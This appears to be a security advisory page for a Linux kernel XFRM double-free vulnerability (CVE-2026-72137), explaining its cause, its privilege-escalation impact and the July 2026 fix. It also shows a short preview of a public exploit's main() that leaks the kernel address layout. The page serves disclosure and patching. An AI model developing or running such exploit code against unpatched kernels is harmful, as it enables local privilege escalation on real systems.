Overview
CVE-2026-72137Critical

A failed XFRM keepalive send could free one packet twice

Linux kernel · XFRM · Published Aug 26, 2026

nat_keepalive_send

AffectsLinux v6.11-rc1 until the fixUbuntu 26.04 · Linux 7.0.0-28 demo target

Artifactsexploit.mdpatch.diff

Summary

The XFRM NAT keepalive path could free a network packet after handing ownership of it to the IP transmit code. On error paths where the transmit helper had already consumed the packet, the cleanup code freed the same object a second time.

The faulty ownership rule was introduced in June 2024 and fixed upstream in July 2026. The public exploit was validated on Ubuntu 26.04 with Linux 7.0.0-28.

Why it mattered

A local attacker able to configure the relevant networking state in a namespace could force a transmit error at the right point. Releasing the same kernel object twice allows its memory to be reallocated while still in use, which can lead to local privilege escalation.

The affected code has been fixed. The risk described here applies to unpatched kernels in the affected line, not automatically to every system using the named distribution today.

What went wrong

nat_keepalive_send() called kfree_skb() whenever the IPv4 or IPv6 send helper returned an error. Those helpers consume the packet on both success and several failures, so the caller no longer owned the object it attempted to clean up.

Exploit

Because the issue and its fixes are public, NebuSec’s validation code is included here for reproducibility. The preview starts at the program entry point and shows exactly 15 lines. Expanding it reveals the complete selected C file embedded in this page; build files, headers, helpers, and any additional sources remain in the linked CyberMeowfia directory.

Public exploit · patched target
CyberMeowfia snapshot4c1f0aa
Browse all files
Exploit entry point · 1499 linesOpen at main() ↗
exploit.c
int main(void)
{
char map[64];
char *stack;
pid_t child;
int status;
struct rlimit nofile = { .rlim_cur = 8192, .rlim_max = 8192 };
setvbuf(stdout, NULL, _IONBF, 0);
if (setrlimit(RLIMIT_NOFILE, &nofile) < 0)
die("setrlimit(RLIMIT_NOFILE)");
kaslr_slide = leak_image_slide_checked() + UBUNTU_IMAGE_EDGE_BIAS;
printf("kaslr slide=%#llx\n", (unsigned long long)kaslr_slide);
printf("capture delay=%u us\n", capture_delay_us);
printf("start uid=%u gid=%u\n", getuid(), getgid());

The selected file is the execution entry point. Build files, headers, leak helpers, and supporting sources remain in the linked CyberMeowfia directory.

Patch

Fixed upstream in July 2026. The fixed code follows the transmit API’s ownership contract and does not free a packet after it has been consumed. Install the Ubuntu kernel update containing the July 2026 upstream fix.

The safest check is the distribution’s own kernel changelog for CVE-2026-72137; version numbers alone can be misleading because vendors routinely backport security fixes without changing to the newest upstream kernel.

Find bugs in your code.

Before anyone else does.